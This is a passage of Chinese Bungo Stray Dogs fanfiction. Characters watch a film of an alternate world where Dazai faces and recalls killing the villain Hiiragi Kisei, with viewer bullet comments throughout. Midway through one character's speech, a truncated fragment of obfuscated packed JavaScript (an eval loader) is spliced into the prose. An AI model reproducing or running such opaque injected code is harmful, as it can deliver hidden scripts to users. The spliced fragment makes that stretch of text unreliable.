【弹幕:哈哈哈哈哈哈哈哈哈哈!!!柊贵诚你也有今天!!!!】 【弹幕:体术中下?是指港口黑手党武力天花板中原中也“之下”!咱们□□最年轻的前干部跟你开玩笑呢!】 【弹幕:表面瘦弱美人·实际能一拳干翻BOSS·宰,VS表面灭世魔王·实际弱不禁风·柊,这反差我笑死!】 【弹幕:我在屏幕前发出了打鸣般的笑声!!!】 【弹幕:别人家恋爱怎么来的我不知道,但柊太恋爱,绝对是我们太宰治一拳打出来的!!!(确信)】 【弹幕:看好了世界!这就叫——我们一拳超人情侣的含金量!!】 【弹幕:我的天哪,这一拳下去,柊·幕后黑手·灭世级BOSS·贵诚的眼神都清澈了不少啊!(截图了截图了)】 时间仿佛凝固了几秒。 男人缓缓地、极其缓慢地转回脸,抬手,用指腹轻轻擦过微红的嘴角,动作带着点难以言喻的怔松。 然后,他抬眼,重新看向太宰治。 忽然笑了。 不是之前那种一切尽在掌握的从容浅笑,而是咧开嘴,露出一点牙齿,甚至牵动了刚刚挨揍的那边脸颊,看起来有点滑稽,又有点……新奇? “原来,”他开口,声音比平时低哑一些,语气却轻快得不可思议,“被‘人间失格’打是这样的感觉。” “重新认识一下,太宰治,我是柊贵诚。” 太宰治:“……” 他默默收回了手。 感觉事情的发展,好像哪里不太对劲。 【弹幕:老柊!装!你继续装!强行挽尊的样子真的很可笑哎!(噗哈哈哈哈)】 【弹幕:我叫柊贵诚~(模仿他一本正经的语气)[配图:龇牙咧嘴捂脸表情包]】 【弹幕:宰啊!快住手!不要再奖励他了啊!!!(痛心疾首)】 很显然,太宰治这意外的一拳不仅打停了在场三人,连带着,整片森林那疯狂扩张的势头也停止了。 “我们这顶多算是民事纠纷,”太宰治迅速恢复了那副懒洋洋的模样,甚至还摊了摊手,“就算到了警察局,也是我占理,毕竟,我刚刚阻止了一起可能毁灭横滨的恶性事件呢,柊、桑~” 他自己也不太明白刚才怎么就挥拳了,更不明白对方怎么没躲。 但这一拳,确实很值。 不仅打断了对方的计划,还意外看到了神秘“卖家”的真面目。 柊贵诚没有立刻回应太宰治的调侃,而是俯身拾起掉落的帽子,仔细拍去帽檐上沾染的草屑与尘土,却没有再戴回去。 既然已经暴露,再遮掩也就没什么意义了。 这顶帽子,是柊贵诚手头有的“特殊物品”之一,他管它叫【疏忽帽】。 在别人眼里,它可能就只是顶款式有点老气的普通帽子。 可一旦戴上了,戴帽子的人立刻就会变得“不引人注目”,不是隐身,是会被周围人的认知自动归进“背景板”里。 大家会下意识忽略他,觉得他“就该在那儿”,用不着多看一眼,就算事后被特意问起来,目击者最多也就能想起“好像有个戴帽子的”,再多细节,一点没有。 就连通过监控摄像头看,戴帽子的人脸也会糊成一团,根本认不清。 这也就是为什么,江户川乱步就算调了拍卖场的监控,也照样看不清他的真面目。 “失败,失败,真是大失败啊……”柊贵诚状似惋惜地摇了摇头,语气浮夸,“看来我这次的‘小小测试’计划,彻底失败了呢。” “骗人。”太宰治不为所动,甚至觉得对方这副样子他似曾相识…… “哎?” “你的试验,其实已经成功了吧?”太宰治向前迈了一小步,声音甜腻得仿佛能滴出蜜来,却又奇异地不惹人反感,“亲爱的‘反派先生’,能好心告诉我,你的下一步……打算玩什么呢?” “就这么直接问吗?”柊贵诚歪了歪头,露出认真思考的表情,“我要是轻易告诉你,对我有什么好处呢?” 话音刚落,柊贵诚便瞥见太宰治又有微微前倾的意图,立刻警惕地后退一步,双手在身前比划出一个大大的“X”。 “禁止暴力哦,太宰君!”柊贵诚义正词严地声明,只是联想到刚刚发生的场景,让这警告显得毫无威慑力,反而添了几分喜感。 太宰治:“……” “好吧好吧,下一步计划是吧?”柊贵诚目光投向周围这片由他亲手催生出的、不合时宜的森林,“我只是一个热爱生命的好心人罢了,偶尔,也会做一些力所能及的……慈善。” “慈善?” “当然!播种善意,有时候会收获意想不到的回报呢,太宰君。” “就像现在——你不就主动来到我面前了吗?” 柊贵诚声音压低,带着某种循循善诱的意味:“你看,我给了这座城市一个‘回归自然’的可能性,给了那些被欲.望蒙蔽之人一个‘重新开始’的机会。” “至于这其中的混乱与恐惧,不过是变革必经的阵痛,而真正的‘回报’,往往藏在最深的混乱之后。”言语间并没有透露任何具体的计划,话语就如同包裹着糖衣的谜题。 “至于更远的未来……”柊贵诚摊开空着的那只手 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白鲸号在众目睽睽之下“蒸发”的场面太过震撼,无论情愿与否,他们都得给出一个说法。 会议室里气氛微妙,各方势力暂时共处一室。 “太宰君,”坐在首位的种田山头火终于开口,问出了核心问题,“关于本次白鲸‘消失’,你还有什么需要补充说明的吗?” 话音落下,刚刚还有些嘈杂的会议室瞬间安静下来。 组合的弗朗西斯、侦探社的众人,连带因为芥川龙之介参与而被请来旁听的港口黑手党首领森鸥外,所有人的目光齐齐投向太宰治。 “我?” “我没什么要补充的了,该说的,敦君刚才都已经替我说完了。”太宰治眨了眨眼,语气轻松。 “你知道我们想听的不是这个。”种田的声音沉了下去,带着不容回避的压力。 “那您想听什么呢?”太宰治歪头,故作不解。 “关于‘柊贵诚’,”种田一字一顿,身体微微前倾,“你还有什么信息可以补充?” 这个名字被念出的瞬间,会议室内的空气似乎凝滞了一瞬。 没有人敢轻视那个男人,哪怕只是关于他的一丁点信息—— 即便是在他“死后”。 “抱歉,”太宰治摊了摊手,神情无辜,“我真的没有什么能补充的了,该说的,我们敦君确实都已经说了。如果特务科想要奖励本次英勇拯救横滨的行为……” 话锋一转,太宰治指向中岛敦和芥川的方向,“奖励这两个出力最多的‘孩子’就好,我们也没出什么力,奖励就不必了。” “太宰治!”种田猛地提高音量,双手按在桌面上,指节因用力而微微发白。 那场几乎清除世界上半数异能力者的战争阴影,那些丧命的下属与同僚,此刻似乎都化作冰冷的恐惧,蚕食着他的理智。 那个名字本身,就是现存许多异能者心中最深层的梦魇。 种田紧盯着太宰治,几乎是从牙缝里挤出这句话:“我在此郑重地再问你一次——关于‘柊贵诚’,你到底还有什么没说的?” “那我也郑重地回答你——” “没有。” 12. 第 12 章 逼问最终还是,不了了之地结束了。 种田长官没能从太宰治那里问出更多关于“柊贵诚”的信息,尽管他目光如炬,言辞紧逼,但那个黑发青年都用滴水不漏的含糊其辞将一切试探轻轻挡回。 僵持到最后,种田也只能在上级的压力和各方微妙平衡的考量下,暂时搁置追问。 横滨当地政府举办的庆功宴,就在这种表面欢庆、内里暗潮涌动的氛围中拉开了帷幕。 宴会场设在海边一家酒店的露天平台。 夜色初降,华灯璀璨,远处港湾的波光与近处喧闹的人声交织在一起。 香槟塔折射着晶莹的光,餐台上摆满了精致的食物,穿着得体的人们举杯交谈,脸上洋溢着劫后余生的轻松与喜悦。 “祝贺横滨又一次战胜危机!” “多亏了有你们啊!” “真是了不起!” 类似的祝酒词此起彼伏。 侦探社的成员们被热情的人群包围。 宫泽贤治对满桌美食发出真诚的赞叹,谷崎兄妹被几位官员拉着合影,国木田独步则独自应付着套近乎的人。 连一向沉稳严肃的福泽谕吉,此刻也破例端着一杯清酒,站在略远离人群的栏杆边,与几位相识的老友低声交谈着,冷峻的眉眼在夜色与灯火中似乎柔和了些许。 空气里飘荡着食物香气、酒意和欢声笑语。 一切都显得那么圆满,那么正确—— 危机解除,英雄受勋,城市安然无恙。 只有一个人,在这片愈演愈烈的热闹中,悄无声息地抽身离去。 太宰治没有和任何人打招呼。 他就像一抹融入夜色的影子,趁着无人注意的间隙,从侧面的楼梯缓步走下,离开酒店的台阶,踏入沿海的步行道。 与平台上的灯火通明相比,这里光线昏暗,只有间隔的路灯投下孤单的光晕。 凉爽的海风带着咸腥气息扑面而来,吹动他沙色风衣的衣摆和额前棕色的发丝。 远处的庆祝声依稀可闻。 太宰治双手插在风衣口袋里,漫无目的地沿着步道向前走。 热闹是他们的。 走了不远,太宰治在一处面向海湾的观景平台边缘停下,靠在冰凉的金属栏杆上。 这里恰好有一盏路灯,光线昏黄,将影子拉得很长。 望着漆黑深邃的海面,平台方向隐约传来一阵集体欢呼的声浪,大概是到了某个庆祝环节的高潮。 太宰治微微侧头,听了一耳朵,脸上没什么表情,又漠然地转回来。 庆祝会……圆满解决……英雄…… 这些词语在脑海里轻轻飘过,激不起半点涟漪。 他眼前浮现的,却是另一幅画面:森林深处斑驳的光影,那人被打偏头时惊愕又骤然发亮的眼神,掉落在地的粗花呢报童帽,以及最后那句随风飘来的“我们很快会再见的,太宰君”。 就在这时,不远处传来年轻男女的嬉笑声,打破了这段僻静。 “真的吗?你真的……?”女孩的声音带着难以置信的惊喜。 “当然!”男孩的回应紧张又雀跃,“我、我喜欢你很久了!请和我交往吧!” 接着是一小段甜蜜的沉默,和女孩带着笑意的轻轻一声“嗯”。 太宰治没有转头,目光依然落在虚无的海面上,只是那远处的喧嚣与近处刚刚萌芽的私语,形成了一种奇特的背景音。 “这个,送给你!”男孩的声音再次响起,听起来像是匆忙掏出了什么。 “哇……是桔梗花?这么多!”女孩的声音充满惊喜,“好漂亮……可是,桔梗花的花期不是已经过了吗?” “你喜欢就好!”男孩急忙说,语气里带着献宝般的热情,“桔梗花象征着永恒的爱情,还有……嗯,真诚不变的心!”他说到最后,声音小了下去,显得有些不好意思。 “说起桔梗花,它可是我们横滨的市花哦!而且特别神奇,几乎开遍了横滨的每一个角落,长盛不衰!”男孩话锋一转,带着几分年轻人特有的、想要分享趣闻的雀跃。 “长盛不衰?可是花卉不都有花期吗?”女孩的声音充满好奇,显然不是横滨本地人。 “所以才神奇啊!” “哪怕不是桔梗正常开放的季节,在横滨的很多地方,你也能看到它们开得灿烂、好多外地人还专门跑来,就为了看这‘长盛不衰的桔梗花海’呢。” “真的?我以前都没怎么听说过这么特别的事。” “那是因为这奇迹出现得也不算太久。”男孩解释道,声音压低了些,仿佛在分享一个半公开的秘密,“大概是……两年前才开始的事。很多人都猜,大概是某个浪漫又强大的异能力者,为我们横滨创造的奇迹吧?” “让象征永恒的桔梗,真的在这里永恒盛开了。” “异能力者啊……听起来像童话一样。” 小情侣的交谈声伴随着轻快的脚步声,逐渐远去。 太宰治依旧靠在栏杆上,一动不动。 桔梗。 永恒之花。 两年前开始长盛不衰的“奇迹”。 “呵……” 一声极轻的、几乎散在风里的气音,从太宰治唇边逸出。 听不出是嘲弄,还是别的什么。 远处平台的声浪似乎又掀起了一个新的高峰,人们的笑声和音乐声顺着海风飘来,快活而遥远,与方才那对情侣小小的幸福,以及此刻海边无边的寂静,割裂成截然不同的世界。 太宰治收回目光,站直身体,最后看了一眼那对情侣消失的方向—— 尽管那里早已空无一人。 然后,他转过身,背对着那片属于“胜利者”、“幸存者”和“幸福者”的热闹灯火,独自朝着更深的夜色中走去。 海面倒映着星空与灯火,也倒映着岸边那丛在夜风中静静摇曳的、不合时宜却异常绚烂的紫色桔梗花。 --- 庆功会场的热闹仍在持续。 “怎么了?”谷崎润一郎端来一杯气泡水,递给显得有些局促的中岛敦。 会场贴心地为未到饮酒年龄的参与者准备了无酒精饮料,除了中岛敦,另一边那位浑身散发着低气 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对许多人而言,柊贵诚是世上最凶恶的罪犯,但对中岛敦来说,情况却复杂得多。 那人是将他从黑暗边缘拉回、给了他容身之处与生存意义的人,是会在雨夜递来一把伞、告诉他“活下去本身就需要勇气”的引导者。 是他中岛敦前半段人生中,为数不多真切感受到的、近乎“温暖”的存在。 当年那场震动整个异能界的“桔梗港事件”发生时,他不知因为什么缘故昏迷,醒来时一切已尘埃落定。 犯下滔天罪行的柊贵诚伏诛,而太宰治……成了拯救世界的“英雄”。 最令中岛敦实在想不通的是,那个“英雄”竟然是太宰先生,怎么能……是太宰先生呢! 明明他们两个…… “欧尼酱!”轻快的呼唤打断了中岛敦的思绪。 谷崎直美像只雀跃的小鸟,不由分说地贴到了润一郎身侧。 “咦——直美,怎么了?”润一郎瞬间僵直。 “还问人家怎么了?欧尼酱为什么要丢下直美一个人,直美好寂寞~”直美的手指在润一郎胸口画着圈圈,语气带着不满。 “对不起直美,哥哥没有……” “那就多陪陪直美嘛!” “当、当然……”润一郎已经变成了圈圈眼,显然招架不住妹妹的热情攻势。 “啊~直美最喜欢欧尼酱啦!”直美笑着跳起来搂住润一郎的脖子,而被妹妹抱住的润一郎脸颊爆红,几乎丧失了思考能力。 目送那对亲密无间的兄妹走远,中岛敦又抿了一口杯中的汽水,冰凉的液体带着微小的气泡滑过喉咙。 叮—— 手机传来一声轻微的提示音。 中岛敦拿出手机,屏幕上显示着一条新信息,发信人是一个没有保存的陌生号码,但内容却让他瞬间明白了来源: [一份蛋包饭和关东煮,要热的!——H] 看清楚短信内容,中岛敦也没心思呆在这个庆功宴上了,放下手中的杯子,匆忙离开了会场。 13. 第 13 章 [灯亮着。 那间他独居的公寓里,透出暖黄色的光。 太宰治在门口停顿了片刻,指尖在冰凉的金属门把上轻轻搭了一会儿,才缓缓推开门。 顺着细微的响动看去,只见中岛敦正蹲在打开的冰箱门前,半个身子几乎探进去,不知在整理什么,塑料袋窸窣作响。 “原来是你啊,敦君。”太宰治的声音听起来有些拖沓,辨不出什么情绪,像是耗尽了所有力气。 太宰治踢掉鞋子,径直走向客厅,把自己像扔沙包般摔进了沙发里,陷进柔软的靠垫,半眯起鸢色的眼睛。 “太宰先生,您回来啦!”中岛敦听到声音,从冰箱旁探出头来,手里还拿着两盒牛奶,“桌上是我给你带的晚饭,趁热吃一点吧?” 说着,中岛敦目光在太宰治略显疲惫的脸上停留了一瞬,便又转回头,继续对付冰箱里堆积的存货。 太宰治闻言,微微偏过头,视线落在餐桌上。 一个印着附近家庭餐馆标志的外卖餐盒静静放在那里,白色的塑料盖子被掀开一角,露出底下金黄色的、蓬松柔软的蛋皮,上面淋着鲜艳的番茄酱,勾勒出幼稚的卡通笑脸图案——那家店特有的风格。 “不想吃蛋包饭,”他拖长了调子,带着点孩子气般的任性,把脸往沙发靠枕里埋了埋,声音闷闷地传出来,“我想吃热乎乎的关东煮……” …… 中岛敦停下动作,转头看了一眼沙发上那个纹丝不动、仿佛要与沙发融为一体的人,无声地叹了口气。 他走到餐桌边,伸手挪开了那个显眼的蛋包饭盒子。 下面,赫然还放着另一个印着便利店标志的、热气隐约蒸腾着盖子的纸碗。 “也有。” 太宰治:“……” “吃吧,太宰先生。”中岛敦将关东煮和餐具一并放到沙发前的矮几上,确保对方伸手就能够到,然后转身继续他的冰箱整理大业。 “太宰先生,我给你补充了一些全麦面包、鲜牛奶和鸡蛋,都放冰箱了。我看上次买的那个牌子的牛奶还剩大半瓶,看来你不太喜欢那个口味?幸好这次我换了另一种味道的试试,不知道合不合你口味……” 他的声音在并不算宽敞的客厅里响起,絮絮叨叨,带着年轻人特有的、试图照顾好一切的认真劲儿,也带着一种刻意维持的、日常般的氛围。 “天啊,”中岛的声音忽然提高了一点,带着难以置信,“你这冰箱里怎么还有上上周我带来的便当?我看看日期……你一口都没动吗?已经过期好几天了,不能吃了,我直接处理掉了啊。” 窸窸窣窣的翻找声。 “为什么还有这么多蔬菜和速食面根本没拆封……太宰先生,”中岛敦的声音低了下来,那份刻意维持的轻快几乎撑不住了,流露出真切的不解与忧虑,“你真的有好好按时吃饭吗?就算是一个人,也不能总是这样……” “敦,”太宰治忽然开口,打断了中岛敦的话,声音不高,却带格外尖锐,“你知道你有时候真的很烦人吗?” 中岛敦整理的动作顿住了。 “就像一团黏黏糊糊的、没有大脑的史莱姆,”太宰治继续说着,“一旦沾上了,怎么甩都甩不掉。自以为是的关心,喋喋不休的唠叨,擅自闯入别人的空间,摆弄别人的东西……你不觉得,很惹人厌吗?” 房间里瞬间安静下来,只有冰箱运作的细微嗡鸣。 中岛敦缓缓转过身,看向沙发上的太宰治。他没有立刻反驳,也没有露出受伤的表情,只是静静地看了对方几秒钟。 半晌,他才重新开口,声音平稳,甚至比刚才更加温和,却带着一种不容动摇的坚定: “太宰先生,这招对我没用哦。” “如果你以为说这种话就能赶走我,然后就能随心所欲地继续伤害自己的身体……这招对我真的没用。” “切。”一声短促的、近乎气音的嗤笑从沙发里传来。 太宰治终于慢吞吞地坐直了身体,伸手拿起了那碗关东煮。 热气氤氲上他的指尖和脸颊,模糊了他此刻的表情。 看着太宰治开始默不作声地吃东西,中岛敦也转回身,继续将手中从便利店买来的东西一一归位。他动作麻利,很快将空荡的冰箱重新填满,关上冰箱门,发出轻微的“咔哒”声。 中岛敦走回客厅,没有坐下,只是站在沙发不远处,看着太宰治小口吃着东西的侧影。 暖黄的灯光落在他蓬松的棕发和缠着绷带的颈项上,勾勒出一圈柔软的光晕,却驱不散那身影里透出的某种难以言喻的孤寂。 “太宰先生,”中岛敦忽然轻声开口,语气里带着一种怀念,“你知道吗?曾经有人告诉过我,‘当你无法判断某人说的是真话还是假话时,不要只听他的言语,去看看他的眼睛。’” 他停顿了一下,似乎在斟酌词句。 “他说,‘眼睛会说真话,哪怕嘴巴在撒谎。’” “……” 寂静在两人之间弥漫开来,比刚才更加深沉。 “那个人是骗你的。”太宰治的声音响起,比刚才更加低沉沙哑,“别什么人的话都信,敦君。” 说完,他像是耗尽了应对的力气,又或许只是想彻底终结这个话题,微微侧了侧身,调整了一下坐姿,将自己更深地地陷进沙发柔软的靠背与扶手的夹角阴影里。 从这个角度,中岛敦再也看不清他的眼睛了。 …… 中岛敦离开后,公寓里重新恢复了往常的样子。 太宰治没有动,依旧维持着半躺的姿势瘫在沙发里,手里捧着早已凉透的空碗。 眼睛望着天花板某处虚无的点,空洞无神,仿佛失去了所有焦距,像一具被抽走了灵魂的精致人偶,又像一只徘徊在人间、找不到归处的幽灵。 良久,他才极其缓慢地眨了一下眼,喉结轻轻滚动,对着空无一人的房间,说道: “晚餐……是你让敦带过来的吧?” 声音很轻,明明是询问,但语 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太宰治搭在额头上的手,手指几不可察地蜷缩了一下。 他缓缓抬起另一只手,举到眼前,在客厅不甚明亮的光线下,定定地看着自己双手,仿佛还能感受到那一刻,穿透衣物、肌肉、骨骼,最终停留在某个温热跳动之源上的、清晰无比的触感—— 粘稠的、灼热的、带着生命最后力度的震颤,透过皮肤,烙印进他记忆深处。 指尖无意识地微微颤抖。 “是啊……”他近乎无声地呢喃,嘴角扯出一个比哭还难看的、空洞的弧度。 “没有人比我更清楚了。” “因为……” 他的声音低下去,最终消散在寂静的空气里,只剩下嘴唇无声开合的形状,: ——是我亲手杀了他。] —————— 【在那之后,他确实走向了光明,但他从未融入光明。看到太宰治孤身一人离开的画面,感觉心里闷闷的】 【桔梗花的花语是永恒不变的爱,但是它还有一个花语是无妄的爱啊……】 【看到桔梗花这个梗,嘴角刚上扬点,又看到姐妹们的话,瞬间下去了,你们是要杀了我吗!!】 【够了,柊贵诚,你这个爱情疯子,我磕还不行吗,呜呜呜┭┮﹏┭┮】 【“不要听太宰治说的话,要去看他的眼睛”,可是,柊贵诚啊,这个世界上除了你,还有谁能从太宰治的眼睛中读懂他呢!】 【明知有刀为何不避?明知是刀为何多看?(暴风式哭泣.jpg)】 【有时候,真的很难理解太宰治对于柊贵诚的滤镜到底有多厚,“普通的死去”???老天鹅啊,你是说拉着世界上半数异能者陪葬,是普通的死去吗?!】 【敦敦真是个好宝宝,豹豹走了,一直代替他照顾着猫猫,每天冰箱的食物都是我们敦敦准备的!】 14.第 14 章 【带入中岛敦的视角,真的很绝望,带自己离开那座长久以来备受欺凌的孤儿院的恩人,转眼竟成了企图毁灭世界的恶人。还没来得及想清楚该怎么办,一觉醒来,收养他的豹豹就死在了眼前。】 【中岛敦知道太宰治这个人,是从柊贵诚的口中,而中岛敦知道的柊贵诚的死亡,也是从太宰治的口中,痛,太痛了!】 【中岛敦知道他们两人关系的吗?】 【孩子只是迟钝了点,不是傻,开遍整个横滨的桔梗,早就向世人宣告了这个不是秘密的秘密了】 【ennnnnnn,太宰治这这款寡夫,吸溜吸溜,嘿嘿~(顶锅盖逃跑.jpg)】 【(握手)我承认我是变态行了吧,我就喜欢这款类型行了吧,我今天就是被攮死在这儿,我也要大声地说出来:老柊,你老婆好香啊!】 影院内灯光幽暗,荧幕的光映在一张张神情各异的脸上。 “太宰,”与谢野晶子用胳膊轻轻碰了碰身边的人,压低了声音,“说真的,我有点儿开始磕你俩了。” 横滨街头巷尾永不凋谢的桔梗花,这实在是过于震撼,不管谁来,这TM都是爱情啊。 难道用“挚友”来解释吗? “以后你每看到一朵桔梗花,那都是我在说爱你。”不知是谁小声念出了这句弹幕上的话,瞬间点燃了空气。 “啊啊啊——!”谷崎直美的尖叫被哥哥及时捂住,化作一连串激动的呜咽。 谷崎润一郎尴尬地朝四周点头,手指捂得更紧了。 国木田独步的视线在荧幕和身旁的太宰治之间来回切换,嘴唇开合了几次,最终却只是推了推眼镜,把所有话都咽了回去,化为一声充满疑问的, “啊?” 泉镜花安静地看着,忽然轻声开口:“花,不会说谎,开遍了,就不会消失。” “他在用整个横滨,说‘爱’。”停顿了一下,泉镜花又补充道,“真是漂亮。” “那边的世界……是那位柊先生将‘我’带出了孤儿院吗?”中岛敦喃喃道,声音很轻。 他完全能理解另一个自己为何对柊贵诚抱有如此的情感,乃至对方死后,将这种感激投射到“太宰治”的身上。 任何一个将他从噩梦中拖出来的人,中岛敦都愿意用全部去报答对方。 即使那束光,在世人眼中是滔天的恶。 似乎触及了某些冰冷的回忆,少年垂下头,陷入了沉默。 “咳、咳咳——!”剧烈的咳嗽声打破了另一角的寂静。 芥川龙之介的罗生门黑影不安地在他身后窜动,仿佛具象化的怒火,“亵渎!这是对太宰先生意志的彻底亵渎!用如此卑劣、纠缠不休的方式强行留下痕迹……在下绝不承认此等扭曲的关系!” 尾崎红叶以袖掩唇,眸光在光影间流转,叹息般低语:“唉……极致的深情,往往与极致的疯狂相伴。这份情意美丽如绽放的毒药,沉重如永恒的枷锁……真是凄美得令人心碎呢。” 中原中也:“……” 人在无语的时候,真的很无语。 先不提那个叫柊贵诚的家伙是个企图毁灭异能界的疯子,就说他到底看上那条青花鱼什么啊?! 看那些闪过的弹幕,最后这家伙好像还被太宰单杀了? 所以,那个世界里,这个掀起世界风暴的,甚至还可能赢了他中原中也的人,没打赢太宰治,反而被太宰治单杀了? ???? 这家伙是被下蛊了吗??? 而与所有喧嚣、感慨、无语或愤怒形成鲜明对比的,是置身漩涡中心的“当事人”本人。 太宰治从电影开场起就异常安静。 除非有人主动同他说话,否则他只是静静注视着银幕上那个“自己”的故事。 与这片区域相对压抑的平和不同,影院其他角落早已被无声的惊涛骇浪席卷。 全球半数异能力者陨落! 仅仅凭一人之力! 柊贵诚这个名字,所带来的震撼与后怕,此刻才如此真切地展示在每个人的面前。 难怪他死后近两年,作为他埋骨之地的横滨,依然如同一个禁.忌,让人忌惮到不敢亲自下场,需要利用组合“白鲸”去试探虚实。 半数……这个冰冷的概率数字背后,会不会就有那个世界的“自己”? 无数道目光,难以控制地、隐晦地投向了那些位于力量顶端的“超越者”们。 连这些行走的灾难,都可能曾败亡于那人手中吗? 柊贵诚的异能究竟是什么? 他的强大,究竟有多恐怖? “真是……耐人寻味。”超越者之一的奥斯卡·王尔德自然捕捉到了那些视线,但他苍白的脸上浮现的并非凝重,而是一种近乎愉悦的探究。 比起另一个自己可能的结局,他更感兴趣的是这场如同戏剧般的结尾。 一个将世界卷入风暴中心、死后余威仍能震慑众多异能力者的存在,最终却陨落在一个并非超越者、甚至名不见经传的年轻异能力者手中。 对了,那个青年,好像叫太宰治? 王尔德的指尖在座椅扶手上轻轻敲击,目光若有所思地投向侦探社方向那个沉默的黑色身影。 “当然耐人寻味,我亲爱的奥斯卡,”他身旁的安徒生用一种吟唱诗篇般的腔调接话,圆片眼镜后的眼睛微微眯起,尾音拖长,带着戏剧化的感慨,“这难道不是——爱~情~最壮丽的悲剧呈现吗?” “爱情?”作为兰波导师的塞拉斯闻言,只是从鼻息间挤出一声短促而清晰的嗤笑。 “将世界半数同类的性命作为舞台布景,用血与火铺就红毯,最后上演一场殉情般的终幕——如果这是那位异能力者的选择,那它恐怕比任何已知的污秽,都更要令人作呕。” “塞拉斯先生的观点,总是如此……理性又尖锐。”一道温和却缺乏温度的声音响起。 众人望去,开口的是钟塔侍从的一位代表,阿加莎,她扫了一眼周围,“但我们无法否认,情感,往往是最不可预测的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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费奥多尔·D站在屋檐投下的阴影边缘,雨水顺着他苍白的脸颊滑落。 紫红色的眼眸在闪电掠过时,亮得惊人。 “‘书’已经到手了。”他的声音不大,却在雨声中清晰可闻,“唯一能阻止计划的因素……清除了。” 费奥多尔微微侧头,看向身侧的同伴。 “多亏了你在横滨那场盛大的‘演出’,把异能特务科的注意力都吸引了过去,再加上——” 他的目光落下,停在脚边一个蜷缩的白发少年身上,雨水正打湿那孩子单薄的衣衫。“我们这位‘书签’小朋友的帮助……拿到‘书’的过程,比预想中顺利得多。” 费奥多尔的嘴角弯起一个愉悦的弧度,眼中燃烧着某种炽热到骇人的光。 “你看,挚友!我们共同的理想,终于触手可及了。”他张开双臂,仿佛要拥抱这冰冷的雨夜,“异能力者……对这个世界的‘常理’而言,本就是错误,是必须被修正的‘痼疾’。世界因他们而背负罪孽,唯有彻底的净化……才能迎来新生。” 话音里带着一种殉道者般的激昂。 15.第 15 章 雨下得绵密而冰冷,织成一张笼罩天地的大网。 说了许久,却未得到挚友的回应。 费奥多尔脸上的狂热微微一顿,转过头,发现柊贵诚的视线并未落在本次计划的目标“书”上,也未看向他,而是长久地、沉默地凝视着地上昏迷不醒的少年。 雨水顺着柊贵诚黑色的发梢滴落,划过他没什么表情的侧脸。 “……柊?”费奥多尔轻轻唤了一声,语气里透出一丝罕见的不解,“你在看什么?那个孩子……是叫中岛敦,他有什么问题吗?”他无法理解,在理想即将实现,如此激动人心的此刻,为何对方的注意力会停留在一个已经无足轻重的人身上。 柊贵诚没有回答,而向前走了两步,在费奥多尔略显错愕的注视下,俯身,将浑身泥水、昏迷不醒的白发少年打横抱了起来。 动作很稳,甚至透出一种与周遭残酷景象格格不入的轻柔。 奇迹般的,当少年被他抱入怀中时,两人周身的雨水仿佛被一层无形的屏障隔开,再无一滴能沾染到他们身上。 雨水在无形的界膜上滑落,形成一道朦胧的轮廓。 “新世界的降临,不急于一时,还需等待一些时日。” 柊贵诚终于开口,调整了一下怀中少年的姿势,转向费奥多尔时,脸上绽开一个纯粹的微笑,语气里浸透着对友人毫无保留的信赖。 “这期间一些必要的‘准备’,就全都拜托你了,费佳~” 费奥多尔微微眯起眼。 柊贵诚垂下眼帘,看了一眼怀中少年苍白的、沾着泥点的脸。 “而我呢,”他顿了顿,声音里忽然掺进一丝近乎悠然的轻松,“忽然想……当回一段时间的神父了。” 话音落下,便不再停留,完全不给另一方反驳的机会,抱着中岛敦,转身便步入了铺天盖地的雨幕。 “那么,这边就先谢啦~”轻快甚至略带笑意的尾音,消散在潮湿的空气里。 那层无形的屏障隔绝了雨水,也隔绝了身后费奥多尔久久凝视的、复杂难辨的目光。 柊贵诚的背影很快被黑暗与大雨吞噬,只有脚步踏过积水的声音,渐行渐远。 费奥多尔独自站在庭院中央,雨水重新打湿了他的肩头。 他低头看了看手中那本看似平凡无奇的“书”,又望向柊贵诚消失的方向,苍白的脸上缓缓浮现出一个无奈的笑容。 “你这家伙……还是这么任性啊。” 雨,越下越大了。 --- 距离“物流园森林化”事件已经过去四天。 负责调查这一系列事件的异能特务科十分头疼。 追查四天,什么也没查到。 现代社会,无论做什么都会留下痕迹,指纹、监控、转账记录、通信基站信号,再小心的人,也总会在某个环节留下印记。 但对方没有。 那人就像从未在这个世界上存在过一样。 太宰治坐在会议室的长桌边,手里捏着一叠资料。 那是种田山头火亲自送来的、关于“柊贵诚”的已知情报。 【柊贵诚,男,出生地:法迪尔(已灭国,现有土地归属图密州) 身份:法迪尔遗民,疑似皇室成员。 异能力:疑似创造异能生命、异能道具。 已知异能产物:天使雕像、鹿女、掩藏自身信息的帽子、网络机械造物(存疑) 备注:未在公开网络查询到柊贵诚的相关情报及身份信息,现代网络时代中的“幽灵”。现有信息均来自纸质记录及极少数相关人士的回忆。】 接下来是篇幅冗长的性格侧写和危险性评估。 太宰治没兴趣看下去。 他将资料搁在桌上,往椅背上一靠,目光落在天花板上。 “神父啊。”他轻声说,像在自言自语,“那家伙的讲话方式,还真的蛮像神棍的。” 种田山头火坐在太宰治对面,闻言抬起头:“你在森林中见过他本人,你觉得,对方是个什么样的人?” “炸弹。”太宰治的语气轻快,“绝对的超级邪恶大Boss。” “……” 种田声音沉下来:“太宰君,你是唯一一个和柊贵诚正面接触过、并且全身而退的人,对方的目的绝对不仅仅是把一个物流园变回森林。” “我有理由相信,他还在谋划更大规模的事件。” 太宰治没有接话。 “今后但凡出现与他有关的案子,我希望你都能参与。” 种田的理由很充分。眼前这个男人的异能力是所有异能力者的克星,再加上他的头脑…… 如果一定要选一个人来解决柊贵诚带来的麻烦,太宰治无疑是最优选。 种田说完这句话,会议室安静了几秒。 太宰治的手指在桌沿轻轻敲了两下。 “特务科丢东西了吗?” 种田一怔,迅速摇头:“没有。事后我们第一时间清点了所有机密文件、异能物品、数据库存,没有任何人员或物品的遗失记录。” 太宰治看着他。 …… 那目光不锐利,甚至可以说平淡,却让种田感到某种难以言喻的不适。 “还有一种可能。”太宰治说,“已经丢了,只是你们不知道。” 种田没有反驳,他当然想过这种可能。 先是用拍卖会上大量社会名流死亡引起广泛关注,将异能特务科的注意力强行拖进横滨,随后又策划了物流园事件逼特务科把人力调去横滨港。 实在是太过标准的调虎离山。 如果这不是为了从特务科手里拿走某样东西,那他图什么? 就为了给横滨添一座森林公园?为横滨这座城市添加特色旅游项目? 可他查了四天,什么都没查到。 